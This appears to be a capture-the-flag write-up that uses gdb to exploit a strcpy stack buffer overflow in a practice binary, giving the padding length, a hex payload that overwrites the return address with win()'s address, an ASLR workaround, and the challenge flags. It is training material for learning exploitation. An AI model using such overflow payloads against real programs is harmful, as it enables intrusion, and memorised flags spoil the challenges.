0x7fffffffeb70:	0x4847464544434241	0x504f4e4d4c4b4a49
0x7fffffffeb80:	0x5857565554535251	0x4645444342415a59
0x7fffffffeb90:	0x4e4d4c4b4a494847	0x0000555555554836
0x7fffffffeba0:	0x0000000000000001	0x00005555555548fd
0x7fffffffebb0:	0x00007fffffffebde	0x0000000000000000
0x7fffffffebc0:	0x00005555555548b0	0x00005555555546e0
0x7fffffffebd0:	0x00007fffffffecc0	0x0000000000000000
0x7fffffffebe0:	0x00005555555548b0	0x00007ffff7a2d840
0x7fffffffebf0:	0x0000000000000000	0x00007fffffffecc8
0x7fffffffec00:	0x00000001f7ffcca0	0x0000555555554858
0x7fffffffec10:	0x0000000000000000	0x7047d5b41481e347
0x7fffffffec20:	0x00005555555546e0	0x00007fffffffecc0
0x7fffffffec30:	0x0000000000000000	0x0000000000000000
0x7fffffffec40:	0x251280e15201e347	0x2512905b2a11e347
0x7fffffffec50:	0x0000000000000000	0x0000000000000000
0x7fffffffec60:	0x0000000000000000	0x00007fffffffecd8

(gdb) continue
Enter product key: Congratulations!  The flag is 8-BYTES-LONG

Program received signal SIGSEGV, Segmentation fault.
0x0000555555554857 in win () at ED202.7.c:14
14	}
A debugging session is active.

	Inferior 1 [process 32040] will be killed.

Quit anyway? (y or n) [answered Y; input not from terminal]

202.8 & 202.9: Exploiting a 32-Bit Server with ASLR

1
2
3
4
5
6
7
8
9
10
11
12
(gdb) list 6,16
6	int activate(char *str) {
7	    char key[25];
8	    strcpy(key, str);
9	    return 1;
10	}
11	
12	void win() {
13	    printf("\nCongratulations!  The first flag is XXXXXXXXXXXXXXX\n");
14	    fflush( stdout );
15	    printf("\nCongratulations!  The second flag is XXXXXXXXXXXXX\n");
16	    fflush( stdout );
1
2
3
4
5
6
7
8
9
10
11
12
13
(gdb) break 9
Breakpoint 1 at 0x805: file ED202.8b.c, line 9.
(gdb) run
win address: 0x5655580f

Breakpoint 1, activate (str=0xffffdc20 "ABCDEFGHIJ") at ED202.8b.c:9
9	    return 1;
(gdb) disassemble /s win,+1
Dump of assembler code from 0x5655580f to 0x56555810:
ED202.8b.c:
12	void win() {
   0x5655580f :	push   %ebp
End of assembler dump.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
(gdb) info registers
eax            0xffffd8e7	-10009
ecx            0xffffdc20	-9184
edx            0xffffd8e7	-10009
ebx            0x56558000	1448443904
esp            0xffffd8e0	0xffffd8e0
ebp            0xffffd908	0xffffd908
esi            0xffffdce0	-8992
edi            0xf7fbd000	-134492160
eip            0x56555805	0x56555805 
eflags         0x282	[ SF IF ]
cs             0x23	35
ss             0x2b	43
ds             0x2b	43
es             0x2b	43
fs             0x0	0
gs             0x63	99
1
2
3
4
5
6
7
8
9
10
11
(gdb) x/40x $esp
0xffffd8e0:	0xffffdce0	0x41fbd000	0x45444342	0x49484746
0xffffd8f0:	0xf7fb004a	0x56555f78	0xffffd918	0xf7e90ef0
0xffffd900:	0xffffdc20	0x56558000	0xffffdcc8	0x56555cd3
0xffffd910:	0xffffdc20	0xffffdc20	0xffffda2c	0x5655588e
0xffffd920:	0x434241b0	0x47464544	0x004a4948	0xf7fe5f92
0xffffd930:	0x00000000	0x00000000	0x00000000	0x00000003
0xffffd940:	0x00554e47	0x2861f718	0x00000000	0xf7fe8304
0xffffd950:	0xffffdb98	0x00000000	0xf7fd9a75	0xf7fe1f60
0xffffd960:	0xf7e1d2e5	0xf7fd9637	0x00000000	0xf7ffd858
0xffffd970:	0x00000000	0xffffdb94	0xffffdb90	0x0d696910
1
2
3
4
5
6
7
8
(gdb) next 6
Single stepping until exit from function __libc_start_main,
which has no line number information.

Received product key: ABCDEFGHIJ

You may be the victim of software piracy!
[Inferior 1 (process 5958) exited with code 053]

ebp is at 0xffffd908

eip

win() is at address 0x5655580f

Pad the input with 75 characters and send 4142434445464748494a4b4c4d4e4f505152535455565758595a5b5c5d5e5f6061626364650f585556

1
2
3
4
5
(gdb) run
win address: 0x5655580f

Breakpoint 1, activate (str=0xffffdc00 "\311\037\376\367") at ED202.8b.c:9
9	    return 1;
1
2
3
4
5
6
7
8
9
10
11
(gdb) x/40x $esp
0xffffd8e0:	0xffffdce0	0x41fbd000	0x45444342	0x49484746
0xffffd8f0:	0x4d4c4b4a	0x51504f4e	0x55545352	0x59585756
0xffffd900:	0x5d5c5b5a	0x61605f5e	0x65646362	0x5655580f
0xffffd910:	0xffffdc00	0xffffdc20	0xffffda2c	0x5655588e
0xffffd920:	0x434241b0	0x47464544	0x4b4a4948	0x4f4e4d4c
0xffffd930:	0x53525150	0x57565554	0x5b5a5958	0x5f5e5d5c
0xffffd940:	0x63626160	0x580f6564	0x00005655	0xf7fe8304
0xffffd950:	0xffffdb98	0x00000000	0xf7fd9a75	0xf7fe1f60
0xffffd960:	0xf7e1d2e5	0xf7fd9637	0x00000000	0xf7ffd858
0xffffd970:	0x00000000	0xffffdb94	0xffffdb90	0x0d696910
1
2
3
4
5
6
7
8
9
10
(gdb) next 6
Received product key: ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdeXUV

Congratulations!  The first flag is INSIDE-DEBUGGER
16	    fflush( stdout );
A debugging session is active.

	Inferior 1 [process 10797] will be killed.

Quit anyway? (y or n) [answered Y; input not from terminal]

For the second flag, click run to get the location of the win() function as ASLR is enabled and send the same input but replace the win() function address

Flag: MOVING-TARGET

This post is licensed under CC BY 4.0 by the author.